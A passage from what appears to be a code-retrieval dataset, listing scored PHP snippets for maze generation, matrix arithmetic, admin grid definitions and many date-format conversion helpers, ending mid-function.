"score": "0.38967657", "text": "public static function generateMaze($length){\n\t\t$directions = ['N' => [0,1], 'S' => [0,-1], 'E' => [1,0], 'W' => [-1,0]];\n\t\t$adjacency_list = array_fill(0, $length, array_fill(0, $length, null)); //keys have to be in correct order\n\t\t$cells = [[mt_rand(0, $length - 1), mt_rand(0, $length - 1)]];\n\t\twhile(!empty($cells)){\n\t\t\t$cell_key = array_rand($cells);\n\t\t\t$cell = $cells[$cell_key];\n\t\t\t$x = $cell[0];\n\t\t\t$y = $cell[1];\n\t\t\t$cell_complete = true;\n\t\t\tshuffle($directions);\n\t\t\tforeach($directions as $direction){\n\t\t\t\t$new_x = $x + $direction[0];\n\t\t\t\t$new_y = $y + $direction[1];\n\t\t\t\tif(Maze::inBounds($new_x, $new_y, $length) && $adjacency_list[$new_x][$new_y] == null) {\n\t\t\t\t\t$adjacency_list[$x][$y][] = [$new_x, $new_y];\n\t\t\t\t\t$adjacency_list[$new_x][$new_y][] = [$x, $y];\n\t\t\t\t\t$cell_complete = false;\n\t\t\t\t\t$cells[] = [$new_x, $new_y];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($cell_complete){\n\t\t\t\tunset($cells[$cell_key]);\n\t\t\t}\n\t\t}\n\n\t\treturn new Maze($adjacency_list);\n\t}", "title": "" }, { "docid": "a29fa784c91c0774013dfff5bf04a872", "score": "0.38963816", "text": "private function emptyMatrix($defSymbol) {\n\t\t$mat = array();\n\t\t$lastNote = $this->getRowIndex(self::MATRIX_ROWS_NUM);\n\t\tfor ($row = 'A'; $row <= $lastNote; $row++) {\n\t\t\tfor ($column = 1; $column <= self::MATRIX_COLS_NUM; $column++) {\n\t\t\t\t$mat[$row][$column] = $defSymbol;\n\t\t\t}\n\t\t}\n\n\t\treturn $mat;\n\t}", "title": "" }, { "docid": "d8450c29ba92204fef60f725afd641a6", "score": "0.38939387", "text": "public function global_matrix_view_m1()\n\t{\n\t\t$this->load->model('user_profiles', 'up');\n\t\t$data['matrix_users'] = $this->up->users_in_m1();\n\t\t\n\t\t$total_users = count($data['matrix_users']);\n\t\t$limit = 0;\n\t\tfor($i=0; $i<$total_users; $i++)\n\t\t{\n\t\t\t$limit = $limit + pow(2, $i);\n\t\t\tif($limit >= $total_users)\n\t\t\t{\n\t\t\t\t$limit = $i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t$data['limit'] = $limit;\n\t\t$this->load->view('global_matrix_view_m1', $data);\n\t}", "title": "" }, { "docid": "290cbce4499b9bd316492f3d1f5f0fc1", "score": "0.38819465", "text": "public function newInputs($inputs = array())\n {\n return new Google_DistanceMatrix_DrivingDistanceMatrix_Inputs($inputs);\n }", "title": "" }, { "docid": "6b5b1212a516c74357a85b9df8814df1", "score": "0.38748047", "text": "private function cardsMatrix(): array {\n\t\t\t\n\t\t\treturn ['big', 'horizontal', 'vertical', 'standard', 'standard', 'standard'];\n\t\t}", "title": "" }, { "docid": "8f2be4bd7dc91a41a2b6767ac38ce53f", "score": "0.38572216", "text": "public function inverse(): Matrix\n {\n $this->validateDimensions($this, self::SQUARE | self::INVERTIBLE);\n\n if ($this->y === 1) {\n return new self([[1 / $this->get(0, 0)]]);\n }\n\n $adjugate = $this->getAdjugate();\n $this->setData($adjugate->divide($this->determinant()));\n\n return $this;\n }", "title": "" }, { "docid": "d5ae45ee6a5ff4f5d2eac3a695e80d47", "score": "0.38543448", "text": "public function matmul(Matrix $b) : self\n {\n if ($this->n !== $b->m()) {\n throw new DimensionalityMismatch('Matrix A requires'\n . \" {$this->n} rows but Matrix B has {$b->m()}.\");\n }\n\n $bT = $b->transpose()->asArray();\n\n $c = [];\n\n foreach ($this->a as $rowA) {\n $rowC = [];\n\n foreach ($bT as $columnB) {\n $sigma = 0.0;\n\n foreach ($rowA as $k => $valueA) {\n $sigma += $valueA * $columnB[$k];\n }\n\n $rowC[] = $sigma;\n }\n\n $c[] = $rowC;\n }\n\n return self::quick($c);\n }", "title": "" }, { "docid": "525eeabdc7dfa06d554f9b338535bc42", "score": "0.38479257", "text": "public function powMatrix(Matrix $b) : self\n {\n if ($b->shape() !== $this->shape()) {\n throw new DimensionalityMismatch(\"{$this->shapeString()} matrix\"\n . \" expected but {$b->shapeString()} given.\");\n }\n\n $c = [];\n\n foreach ($b->asArray() as $i => $rowB) {\n $rowA = $this->a[$i];\n\n $rowC = [];\n\n foreach ($rowA as $j => $valueA) {\n $rowC[] = $valueA ** $rowB[$j];\n }\n\n $c[] = $rowC;\n }\n\n return self::quick($c);\n }", "title": "" }, { "docid": "5aaf2cd98bbc543698c075463fadcf75", "score": "0.3846352", "text": "public function qmatrix($c = \"No comment!\", $query = \"NONEE\", $data_array = array(), $buffer = false){\n\t\t$temp = \"\";\n\t\tif($buffer){\n\t\t\t$temp = $this->setquery($c,$query,$data_array,$buffer);\t\n\t\t}\n\t\telse{\n\t\t\t$this->comm($c);\n\t\t\t$temp = $db->squery($query,$data_array);\t\n\t\t}\n\t\t\n\t\t$returnArray = array();\n\t\twhile($arr = $this->fetch($temp)){\n\t\t\tarray_push($returnArray,$arr);\n\t\t}\n\t\t\n\t\treturn $returnArray;\n\t}", "title": "" }, { "docid": "8a4c8fee2b30e09c02bd2404d11171f6", "score": "0.3844485", "text": "public function getUsageAreaMatrix()\n {\n $usage_areas = UsageArea::getAll($this->clang_id, $this->category_id);\n $machines = $this->getMachines(true);\n\n $matrix = [];\n foreach ($usage_areas as $usage_area) {\n $values = [];\n foreach ($machines as $machine) {\n if (in_array($usage_area->usage_area_id, $machine->usage_area_ids, true)) {\n $values[] = $machine->machine_id;\n }\n }\n $matrix[$usage_area->name] = $values;\n }\n return $matrix;\n }", "title": "" }, { "docid": "dd5a00d5e3c5a2b4d244554241ede647", "score": "0.38195643", "text": "public function create()\n {\n $dimension_optons = DB::table('dimensions')->orderBy('dimension_id', 'desc')->lists('dimension', 'dimension_id');\n return View::make('items.create', array('dimension_optons' => $dimension_optons));\n }", "title": "" }, { "docid": "9601b1b2d00754f109425ed118ba79e3", "score": "0.3813939", "text": "public function getInverse(): Matrix\n {\n $matrix = new self(clone $this->table);\n $matrix->inverse();\n return $matrix;\n }", "title": "" }, { "docid": "d6d3bdf8b4a3162bd09a4b287753ef58", "score": "0.38095587", "text": "public static function Orthographic()\n {\n $m = new Matrix4(\n array(\n\n )\n );\n return $m;\n }", "title": "" }, { "docid": "6b4bbad1f04a84048a48fa42b270ca02", "score": "0.3805864", "text": "public function getTechDataMatrix()\n {\n $machines = $this->getMachines(true);\n $matrix = [];\n $tech_data_arrays = [];\n $tech_data_wildcards = [];\n // Get technical data\n foreach ($machines as $machine) {\n $tech_data_arrays[$machine->machine_id] = $machine->getTechnicalData();\n }\n // Get wildcards\n foreach ($tech_data_arrays as $tech_data_array) {\n foreach ($tech_data_array as $tech_data) {\n /** @var array<string> $tech_data */\n $tech_data_wildcards[$tech_data['description']] = $tech_data['unit'];\n }\n }\n // Create matrix\n foreach ($tech_data_wildcards as $wildcard => $unit) {\n $key = ['description' => $wildcard, 'unit' => $unit];\n $matrix[$wildcard] = ['unit' => $unit, 'machine_ids' => []];\n foreach ($machines as $machine) {\n $tech_data_array = $tech_data_arrays[$machine->machine_id];\n $matrix[$wildcard]['machine_ids'][$machine->machine_id] = '';\n foreach ($tech_data_array as $techdata) {\n /** @var array<string> $techdata */\n if ($techdata['description'] === $wildcard) {\n $matrix[$wildcard]['machine_ids'][$machine->machine_id] = $techdata['value'];\n break;\n }\n }\n }\n }\n return $matrix;\n }", "title": "" }, { "docid": "4e4268754ffac1bbc9faaf4076938c5b", "score": "0.3805289", "text": "public function first($columns = array('*'))\n {\n $results = $this->take ( 1 )->get ( $columns );\n return count ( $results ) > 0 ? $results->first () : null;\n }", "title": "" }, { "docid": "97fce3e092cbb1e3524faf15a568e584", "score": "0.38004434", "text": "protected function grid()\n {\n $grid = new Grid(new Milestone);\n\n $grid->column('id', __('Id'))->sortable();\n $grid->column('type', __('Type'))->select(Milestone::TYPE_MAP);\n $grid->column('version', __('Version'));\n $grid->column('content', __('Content'));\n $grid->column('detail', __('Detail'));\n $grid->column('created_at', __('Created at'))->sortable()->hide();\n $grid->column('updated_at', __('Updated at'))->sortable()->hide();\n\n $grid->model()->orderBy('id', 'desc');\n\n $grid->filter(function ($filter) {\n $filter->equal('version', '版本');\n $filter->like('content', '内容');\n $filter->equal('type', '类型')->select(Milestone::TYPE_MAP);\n $filter->between('created_at', '创建时间')->datetime();\n $filter->between('updated_at', '更新时间')->datetime();\n });\n\n return $grid;\n }", "title": "" }, { "docid": "99246a5fc2f95c6167115402787d4b98", "score": "0.3799681", "text": "public function addMatrix(Matrix $b) : self\n {\n if ($b->shape() !== $this->shape()) {\n throw new DimensionalityMismatch(\"{$this->shapeString()} matrix\"\n . \" expected but {$b->shapeString()} given.\");\n }\n\n $c = [];\n\n foreach ($b->asArray() as $i => $rowB) {\n $rowA = $this->a[$i];\n\n $rowC = [];\n\n foreach ($rowA as $j => $valueA) {\n $rowC[] = $valueA + $rowB[$j];\n }\n\n $c[] = $rowC;\n }\n\n return self::quick($c);\n }", "title": "" }, { "docid": "cd74437fb7bea3c068ff2182bdb68c83", "score": "0.3788552", "text": "public function get_dim()\n {\n return $this->dim;\n }", "title": "" }, { "docid": "35b0ec451f46d49559474dd916a5283b", "score": "0.37865552", "text": "public function exponentiated($input): Matrix\n {\n assert(is_numeric($input), new \\InvalidArgumentException('power must be numeric'));\n\n $clone = clone $this;\n $matrix = clone $this;\n $i = 1;\n while ($i < $input) {\n $matrix->multiply($clone);\n $i++;\n }\n\n return $matrix;\n }", "title": "" }, { "docid": "253ab144bc6ba04c72201036e433a410", "score": "0.37860292", "text": "protected function grid()\n {\n $grid = new Grid(new gameLog());\n\n $grid->column('onlyId', ___('OnlyId'));\n $grid->column('bigBlindIndex', ___('BigBlindIndex'));\n $grid->column('gameNums', ___('GameNums'));\n $grid->column('smallBlindIndex', ___('SmallBlindIndex'));\n $grid->column('tableCards', ___('TableCards'));\n $grid->column('tableId', ___('TableId'));\n $grid->column('tableSeat1Str1', ___('TableSeat1Str1'));\n $grid->column('tableSeat1Str2', ___('TableSeat1Str2'));\n $grid->column('tableSeat1Str3', ___('TableSeat1Str3'));\n $grid->column('tableSeat1Str4', ___('TableSeat1Str4'));\n $grid->column('tableSeat1Str5', ___('TableSeat1Str5'));\n $grid->column('tableSeat1Str6', ___('TableSeat1Str6'));\n $grid->column('tableSeat1Str7', ___('TableSeat1Str7'));\n $grid->column('time', ___('Time'));\n\n return $grid;\n }", "title": "" }, { "docid": "7231ad622b7dc429018a5cde09d7bf79", "score": "0.3785801", "text": "public function generateMasterSeatMatrix()\n {\n // AllotedSeats::whereBetween(\"id\", [0,100])->delete();\n $temp_seat_matrix = CopySeatMatrix::all();\n\n foreach($temp_seat_matrix as $seat_matrix){\n $master_seat_matrix = SeatMatrix::firstOrNew(['institution_id' => $seat_matrix->institution_id ,\n 'department_id' => $seat_matrix->department_id ,\n 'year' => $seat_matrix->year ,\n 'cast' => $seat_matrix->cast]);\n $master_seat_matrix->institution_id = $seat_matrix->institution_id;\n $master_seat_matrix->department_id = $seat_matrix->department_id;\n $master_seat_matrix->year = $seat_matrix->year;\n $master_seat_matrix->cast = $seat_matrix->cast;\n $master_seat_matrix->boys_seat = $seat_matrix->boys_seat;\n $master_seat_matrix->girls_seat = $seat_matrix->girls_seat;\n $master_seat_matrix->save();\n }\n return (CopySeatMatrix::all());\n\n }", "title": "" }, { "docid": "e20abdf5358ff0a0458d6fcaea878c00", "score": "0.37841788", "text": "public static function create(): self\n {\n return new self([]);\n }", "title": "" }, { "docid": "c0008f3d828c89f3e52d8b3b691b02f4", "score": "0.37837452", "text": "function determinant($matrix){\n\t$dim = count($matrix);\n\tfor($i=0;$i<$dim;$i++){\n\t\tif(count($matrix[$i]) != $dim){\n\t\t\tthrow new Exception(\"The matrix is not square\");\n\t\t}\n\t}\n\t\n\treturn real_determinant($matrix);\n}", "title": "" } ]
4a3c6c3b0d2ff2f6038b7a92895ced23
// _ConvertDate // _ConvertDate() Converts from BPay date format to our own Converts from "DDMMYYYY" date format to "YYYYMMDD". Assumes that dates are in the 21st Century
[ { "docid": "45992205b32a1f7a39e6709a911d332e", "score": "0.6192372", "text": "function _ConvertDate($strDate)\n \t{\n\t\t$strDate\t\t= str_pad(trim($strDate), 8, '0', STR_PAD_LEFT);\n\t\t$strValidDate\t= substr($strDate, -4).\"-\".substr($strDate, 2, 2).\"-\".substr($strDate, 0, 2);\n\t\treturn $strValidDate;\n \t}", "title": "" } ]
[ { "docid": "7fe8a608a73d2744553d727551c1c6e3", "score": "0.63399214", "text": "public function convertDate($date) {\n return date(\"d/m/Y\", strtotime($date));\n }", "title": "" }, { "docid": "db3aa6806635ef2b437ec2d4035b9c0f", "score": "0.6146102", "text": "function Date_Converter($date) {\n $date = explode(\"-\", substr($date,0,10));\n # Rearrange Date into m/d/Y\n $date = $date[2] . \"/\" . $date[1] . \"/\" . $date[0];\n\n # Return\n return $date;\n\n}", "title": "" }, { "docid": "28d5270dac05651865b17ef209d1b40e", "score": "0.6060992", "text": "public function convertDate ( $indate, $whichway='todb' ) {\n $convertedDate=\"01/01/1900\";\n if ($whichway==\"todb\") {\n $dateChars=array('-','.');\n $newDate=str_replace($dateChars,\"/\",$indate);\n $workDate=explode(\"/\",$newDate);\n $convertedDate=$workDate[2].\"-\".$workDate[0].\"-\".$workDate[1];\n if (!$this->unixdate=mktime (0, 0, 0, $workDate[0], $workDate[1], $workDate[2])) {\n $this->unixdate=0;\n }\n } elseif ($whichway==\"todsply\") {\n $workDate=explode(\"-\",$indate);\n $convertedDate=$workDate[1].\"/\".$workDate[2].\"/\".$workDate[0]; \n }\n return $convertedDate;\n }", "title": "" }, { "docid": "25849891378a108978a4484f7d456a16", "score": "0.5863187", "text": "function convertDate($date) {\n\t\t\t$date = str_replace(\"-\", \"\", $date);\n\t\t\t$months = array(\"\", \"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"November\", \"December\");\n\t\t\treturn $months[(int)substr($date, 4, 2)] . \" \" . substr($date, 6, 2) . \", \" . substr($date, 0, 4);\n\t\t}", "title": "" }, { "docid": "30021476000644cba6c44d2afcfcdc31", "score": "0.58322126", "text": "private function ConvertDate() {\n\t\t/* Date must be in the format of day/month/year or day-month-year */\n\t\t$new_date = preg_replace('/-|\\./', '/', $this->_datafield);\n\t\t$date_parts = explode('/', $new_date);\n\t\tif ((count($date_parts) == 3) && ($date_parts[0] > 0 && $date_parts[0] < 32 && $date_parts[1] > 0 && $date_parts[1] < 13 && (strlen($date_parts[2]) == 4))) {\n\t\t\t$old_date = mktime(0,0,0,$date_parts[1],$date_parts[0],$date_parts[2]);\n\t\t}\n\t\telse $old_date = 0;\n\t\treturn $old_date;\n\t}", "title": "" }, { "docid": "2f5dbadc61cd088f8e1805cc42c0b74b", "score": "0.5789434", "text": "function convertDate($d){\n$timestamp = strtotime($d);\n$date = date('Y-m-d', $timestamp);\nreturn $date;\n}", "title": "" }, { "docid": "46dc43a299f7b4a5f12b1c4b0e675230", "score": "0.5714142", "text": "private function transformGoogleDate(\\Google_Service_MyBusiness_Date $gmbDate)\n {\n $date = new \\DateTime();\n $date->setDate($gmbDate->year, $gmbDate->month, $gmbDate->day);\n $date = $date->format('Y-m-d');\n return $date;\n }", "title": "" }, { "docid": "f09d60bef2263a118c982b906e16674a", "score": "0.5626229", "text": "function ConvertDate($date_to_convert){\n //print_r($tmp = explode(\"-\", $date_to_convert));\n $tmp = explode(\"-\", $date_to_convert);\n $tmp2 = explode(\" \", $tmp[2]);\n //$m_word = NULL;\n $month = NULL;\n $day = NULL;\n $year = NULL;\n //$time = NULL;\n \n //$month = $this->Spr->GetShortNameByCod(TblSysSprMonth, intval($tmp[1]), $this->lang_id, 1);\n $month = $tmp[1];\n $day = intval($tmp2[0]);\n $year = $tmp[0];\n //$time = $tmp2[1];\n \n //if ( isset($settings['dt']) AND $settings['dt']=='0' ) \n return $day.\".\".$month.\".\".$year;\n //return $day.\".\".$month.\".\".$year.\" \".$time; \n}", "title": "" }, { "docid": "af7858502a800061e9b54c4fbf609e17", "score": "0.5575221", "text": "private function correctDateFormat( $aDate )\n\t{\n\t\t$lDate = new DateTime( $aDate );\n\t\treturn $lDate->format('Y-m-d');\n\t}", "title": "" }, { "docid": "6ec67d28920bcc03a9cb1906c941bcc6", "score": "0.5566412", "text": "function date_ddmmyyyy($dat_ToFormat) {\r\n\t\treturn substr($dat_ToFormat,8,2).'-'.substr($dat_ToFormat,5,2).'-'.substr($dat_ToFormat,0,4);\r\n\t}", "title": "" }, { "docid": "03ff234b46225b1fbcf9a921603d0dbe", "score": "0.55180156", "text": "function genHelDoConvertDate($date, $date_format_in, $date_format_out)\n {\n $date = DateTime::createFromFormat($date_format_in, $date); //d/m/Y\n return $date->format($date_format_out); //Y-m-d\n\n }", "title": "" }, { "docid": "3233b2e4f67ac38b85b7c70537fe6c9f", "score": "0.5503088", "text": "function toDate($date)\n{\n if (!$date) {\n return;\n }\n\n return date('Y-m-d', strtotime($date));\n}", "title": "" }, { "docid": "936e4753193fc0ded19ffc72ac6e46cc", "score": "0.549056", "text": "function toDateUS($dateBR) {\n if (!isDateBR($dateBR)) {\n return false;\n }\n $bits = explode('/', $dateBR);\n return date('Y-m-d', strtotime(implode('-', array_reverse($bits))));\n }", "title": "" }, { "docid": "80ae164483a1d66664fdb110798de7ce", "score": "0.5484481", "text": "function convert1($indate){\r\n $indate = date_create($indate);\r\n echo \"Date formatted mm/dd/yyyy \". date_format($indate,\"m/d/Y\").\"<br>\";\r\n \r\n }", "title": "" }, { "docid": "1b8b49526febd1ab5f1a912ecf27bba3", "score": "0.54335576", "text": "function convertdate( $sFormat ) {\n switch( $sFormat ) {\n //Predefined WP date formats\n case 'F j, Y':\n return( 'MM dd, yy' );\n break;\n case 'Y/m/d':\n return( 'yy/mm/dd' );\n break;\n case 'm/d/Y':\n return( 'mm/dd/yy' );\n break;\n case 'd/m/Y':\n \t\t\t\tdefault:\n return( 'dd/mm/yy' );\n break;\n }\n }", "title": "" }, { "docid": "a417b5070cf95430b38117379f88dd41", "score": "0.5431596", "text": "function convert2($indate2){\r\n $indate2 = date_create($indate2);\r\n echo \"international Date formatted yyyy-mm-dd \". date_format($indate2,\"Y-m-d\".\"<br>\");\r\n }", "title": "" }, { "docid": "c707c9b885da93482490dce422df53a9", "score": "0.5393106", "text": "function SQL2Date($sqldate = \"\", $ycount = 4) // takes date in format yyyy-mm-dd and changes to dd?mm?yyyy\n\t{\t$month = substr($sqldate, 5, 2);\n\t\t$day = substr($sqldate, 8, 2);\n\t\t$year = substr($sqldate, 0, 4);\n\t\tif ($year >= '1970')\n\t\t{\treturn $this->Stamp2Date(mktime(0,0,0, $month, $day, $year), $ycount);\n\t\t} else\n\t\t{\treturn $this->SQL2DateByStringOnly($sqldate, $ycount);\n\t\t}\n\t}", "title": "" }, { "docid": "0d751df9af8c88513b3478c49bd42976", "score": "0.53907925", "text": "function DateToDay($Date)\n {\n\treturn date(\"d\", strtotime($Date));\n }", "title": "" }, { "docid": "a8f7b89a4b5cd9e01b166ed9491f2fc5", "score": "0.5386073", "text": "function date_yyyymmdd($dat_ToFormat) {\r\n\t\treturn substr($dat_ToFormat,6,4).'-'.substr($dat_ToFormat,3,2).'-'.substr($dat_ToFormat,0,2);\r\n\t}", "title": "" }, { "docid": "86aae71acb7965524db469c0bd1710be", "score": "0.5381108", "text": "function to_date($date) {\n\t\treturn $this->appointmentDate($date);\n\t}", "title": "" }, { "docid": "05a3e1569527f18c2f270d19d85021f0", "score": "0.536815", "text": "public function convertDate($data, $date)\n {\n foreach ($data as $i) {\n $timestamp = strtotime($i[$date]);\n $converted = date(\"F j, Y, g:i a\", $timestamp);\n return $converted;\n }\n }", "title": "" }, { "docid": "61c826cda8e2ac22ceba299ddd74c3e2", "score": "0.5338181", "text": "function convert_date_boring_to_interesting($date)\n{\n\t$newDate = date(\"D, M j, Y\", strtotime($date));\n\treturn $newDate;\n}", "title": "" }, { "docid": "e085179c2d48dd30b7b04b9257c3d33b", "score": "0.5300702", "text": "public function toDate2($date) {\n $arr = explode('/', $date);\n\n $result = $arr[2] . '-' . $arr[1] . '-' . $arr[0];\n\n return $result;\n }", "title": "" }, { "docid": "11004547e91e0ebfa5ba55a289079fc1", "score": "0.527787", "text": "public function convertDate($document, $componentName)\n {\n if (!isset($this->data[$componentName])) {\n return;\n }\n foreach ($this->data[$componentName] as $field) {\n $fieldValue = $document->getData($field);\n if (!$fieldValue) {\n continue;\n }\n $convertedDate = $this->localeDate->date(\n new \\DateTime($fieldValue, new \\DateTimeZone('UTC')),\n $this->locale,\n true\n );\n $document->setData($field, $convertedDate->format($this->dateFormat));\n }\n }", "title": "" }, { "docid": "36c686ae2fd6d873271940175824ea69", "score": "0.5194989", "text": "public function toDate($date){\n $arr = explode('-', $date);\n $result = $arr[2] . '/' . $arr[1] . '/' . $arr[0];\n\n return $result;\n }", "title": "" }, { "docid": "bfad06367500d0bd9dd3981fc95278e6", "score": "0.51711667", "text": "function make_date($date){\n\treturn date(\"d/m/y\", strtotime($date));\n}", "title": "" }, { "docid": "64fd8ee0a34d18c5d4972f5c833395f9", "score": "0.51662016", "text": "protected function convertDate($value, array $field, bool $fromApi)\n\t{\n\t\treturn date('Y-m-d', strtotime($value));\n\t}", "title": "" }, { "docid": "cf5526c64093967b615d5bdaa4d9e591", "score": "0.5143552", "text": "public static function bn_date($date)\n {\n // Convert Numbers\n $date = str_replace(self::$en_numbers, self::$bn_numbers, $date);\n\n // Convert Months\n $date = str_replace(self::$en_months, self::$bn_months, $date);\n $date = str_replace(self::$en_short_months, self::$bn_months, $date);\n\n // Convert Days\n $date = str_replace(self::$en_days, self::$bn_days, $date);\n $date = str_replace(self::$en_short_days, self::$bn_short_days, $date);\n $date = str_replace(self::$en_days, self::$bn_days, $date);\n return $date;\n }", "title": "" }, { "docid": "41dcc3f85293106bb06ced9f00d35356", "score": "0.5114425", "text": "function convert_date_for_database( $date, $format = 'Ymd' ) {\n\t\t$dformat = DateTime::createFromFormat( $format, $date, wp_timezone() );\n\n\t\treturn $dformat->format( 'Y-m-d' );\n\t}", "title": "" }, { "docid": "c05bf9e4a096397f798fb49e03f2373d", "score": "0.51138884", "text": "function toDateBR($dateUS) {\n if (!isDateUS($dateUS)) {\n return false;\n }\n return date('d/m/Y', strtotime($dateUS));\n }", "title": "" }, { "docid": "9d8f7d95c3f72ec9e5e6d9e61ca9f9f0", "score": "0.50993496", "text": "function convertISODatetoDMY($in_date) {\n\n $out_date = NULL;\n\n if ($in_date) {\n $date = explode('-', $in_date);\n $out_date = $date[2] . \"/\" . $date[1] . \"/\" . $date[0];\n }\n\n return $out_date;\n}", "title": "" }, { "docid": "cc6eb2311d4d5060d93af2c2bc92f668", "score": "0.508538", "text": "public function convert_dates(&$values)\n {\n foreach($values as $key => $value)\n {\n if ($this->is_date($key) )\n {\n $values[$key] = $this->date2db($value);\n }\n }\n }", "title": "" }, { "docid": "2df087519f97d44fa51fa54f1bb0ac5a", "score": "0.5082631", "text": "function Date2SQL($date) // takes date in format dd?mm?yyyy and changes to yyyy-mm-dd\n\t{\t$month = substr($date, 3, 2);\n\t\t$day = substr($date, 0, 2);\n\t\t$year = substr($date, 6, 4);\n\t\treturn date('Y-m-d', mktime(0,0,0, $month, $day, $year));\n\t}", "title": "" }, { "docid": "c1951e6ec2ae5120aeae8842ebaa2811", "score": "0.50279963", "text": "function convert_date($date,$format=\"\")\n\t{\n\t\tif(strlen($format) <= 0)\n\t\t{\n\t\t\t$format = \"m/d/Y\";\n\t\t}\n\t\n\t\tif($date == \"0000-00-00 00:00:00\" || $date == \"0000-00-00\" || $date == \"\")\n\t\t{\n\t\t\t$temp_dt = \"\";\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$temp_dt = date($format, strtotime($date));\n\t\t}\n\t\treturn $temp_dt;\t\t\n\t}", "title": "" }, { "docid": "47f1f6706146f19a0959246b7295f9e7", "score": "0.50158393", "text": "function convertToUSFormat($date)\n\t{\n\t\t// dd/mm/yyyy to mm/dd/yyyy\n\t\t$parts = explode(\"/\",$date);\n\t\t$newFormat = $parts[1].'/'.$parts[0].'/'.$parts[2];\n\t\treturn $newFormat;\n\t}", "title": "" }, { "docid": "cba345508a0e11ad58070cfaad5a3cda", "score": "0.5006646", "text": "function reformatDate($date) {\n $dateObj = date_create_from_format('d/m/Y', $date);\n return date_format($dateObj, 'Y-m-d');\n }", "title": "" }, { "docid": "fa0152e655ce0659fca48b96ba51b9f5", "score": "0.50031734", "text": "public function reverseDate(string $date, string $thisDelimiter = \"/\", string $convertDelimiter = \"-\"): string\n {\n if ($date === \"\") {\n return new $date;\n }\n\n return implode($convertDelimiter, array_reverse(explode($thisDelimiter, $date)));\n }", "title": "" }, { "docid": "b99d79c87a690b12a65fe2bbe2a29b0a", "score": "0.50027347", "text": "function bbp_convert_date($time, $d = 'U', $translate = \\false)\n{\n}", "title": "" }, { "docid": "e4fc89c3bd935aaf3a3dec435070e078", "score": "0.49947098", "text": "function ConvertDate($date)\n{\n global $modx;\n if (!$date) {\n return \"0\";\n }\n return $modx->toTimeStamp($date);\n}", "title": "" }, { "docid": "45fcdf123e12d5ea3fb39d36c7ef5821", "score": "0.49809733", "text": "function date_ddmmyyyy2($dat_ToFormat) {\r\n\t\treturn substr($dat_ToFormat,8,2).' '.func_get_month_name(substr($dat_ToFormat,5,2)).' '.substr($dat_ToFormat,0,4);\r\n\t}", "title": "" }, { "docid": "6eb7771195fba495615d4ba9189ff241", "score": "0.49700904", "text": "public function convertAdFromBs($bsDate)\n {\n $dateDetail = $this->getDayMonthYear($bsDate);\n $days_to_be_added = $dateDetail['day'] -1;\n\n $res = DateSetting::where('year_bs', $dateDetail['year'])\n ->where('month_bs', $dateDetail['month'])->first();\n\n //ad date\n $dayMonthYearAd = $this->getDayMonthYear($res->date_ad);\n $year_ad = $dayMonthYearAd['year'];\n $month_ad = $dayMonthYearAd['month'];\n $day_ad = $dayMonthYearAd['day'];\n $new_day_ad = $day_ad + $days_to_be_added;\n\n $noOfDaysAdMonth = $res->days_ad;\n \n if($new_day_ad > $noOfDaysAdMonth)\n {\n $new_day_ad = $new_day_ad - $noOfDaysAdMonth;\n $month_ad++;\n if($month_ad > 12)\n {\n $year_ad++;\n $month_ad = 1;\n }\n }\n \n return $year_ad .'/'. $month_ad .'/'. $new_day_ad;\n }", "title": "" }, { "docid": "51560e8abba0f9fe80ef623ac107df8c", "score": "0.4941723", "text": "function cal2db_date($date) {\n\tif ($date) {\n\t\t$res = explode('.', $date);\n\t\treturn array(\n\t\t\t'year' => $res[2],\n\t\t \t'month' => $res[1],\n\t\t\t'day' => $res[0]\n\t\t);\n\t} else {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "41fe2230c477b22f4b73ac2a2f5a4269", "score": "0.4932796", "text": "function fixup_date ($WDdate) {\n global $timeFormat,$timeOnlyFormat,$dateOnlyFormat,$WDdateMDY,$DebugMode;\n $d = explode('/',$WDdate); // expect ##/##/## form\n if(!isset($d[2])) {$d = explode('-',$WDdate); } // try ##-##-#### form instead\n if(!isset($d[2])) {$d = explode('.',$WDdate); } // try ##.##.#### form instead\n if ($d[2] > 70 and $d[2] <= 99) {$d[2] += 1900;} // 2 digit dates 70-99 are 1970-1999\n if ($d[2] < 99) {$d[2] += 2000; } // 2 digit dates (left) are assumed 20xx dates.\n if ($WDdateMDY) {\n $new = sprintf('%04d-%02d-%02d',$d[2],$d[0],$d[1]); // M/D/YYYY -> YYYY-MM-DD\n } else {\n $new = sprintf('%04d-%02d-%02d',$d[2],$d[1],$d[0]); // D/M/YYYY -> YYYY-MM-DD\n }\n \n $r = date($dateOnlyFormat,strtotime($new));\n if ($DebugMode) {\n $r = \"<!-- fixup_date WDdate='$WDdate', WDdateUSA='$WDdateMDY' new='$new' -->\" . $r;\n $r = '<span style=\"color: green;\">' . $r . '</span>'; \n }\n return ($r);\n}", "title": "" }, { "docid": "e8b11ca6d26321ab94e36cf41a58f699", "score": "0.49053472", "text": "public function convert($isbn, $convertTo, $format = true) {\n\t\t\t\n\t\t\tif ($convertTo == '10') {\n\t\t\t\t\n\t\t\t\t$isbn = $this->to10($isbn);\n\t\t\t\t\n\t\t\t} elseif ($convertTo == '13') {\n\t\t\t\n\t\t\t\t$isbn = $this->to13($isbn);\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif ($format) {\n\t\t\t\t\n\t\t\t\t$isbn = $this->format($isbn);\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $isbn;\n\t\t\t\n\t\t}", "title": "" }, { "docid": "f1cb6c5d0116ac920865f5c23e17483b", "score": "0.489069", "text": "public static function reformat_date($date)\n\t{\n\t\t// dd/mm/yyyy.\n\t\tif(preg_match('/^(\\d{1,2})\\/\\s?(\\d{1,2})\\/\\s?(\\d{2,4})\\/?(.*)$/', trim($date), $match)) {\t\n\t\t\tif ($match[3] < 100) $yyyy = 2000 + $match[3];\n\t\t\telseif ($match[3] < 1000) $yyyy = 1000 + $match[3];\n\t\t\telse $yyyy = $match[3];\n\t\t\t$dd = sprintf(\"%02d\", $match[1]); \n\t\t\t$mm = sprintf(\"%02d\", $match[2]);\n\t\t\treturn \"$yyyy-$mm-$dd\" . $match[4]; // maybe had a time part, keep intact\n\t\t} else {\t\t\t\n\t\t\treturn $date;\n\t\t}\n\t}", "title": "" }, { "docid": "601435cbcdaf2c6b5611ad0f039ae498", "score": "0.48878196", "text": "function convDate($arg1) 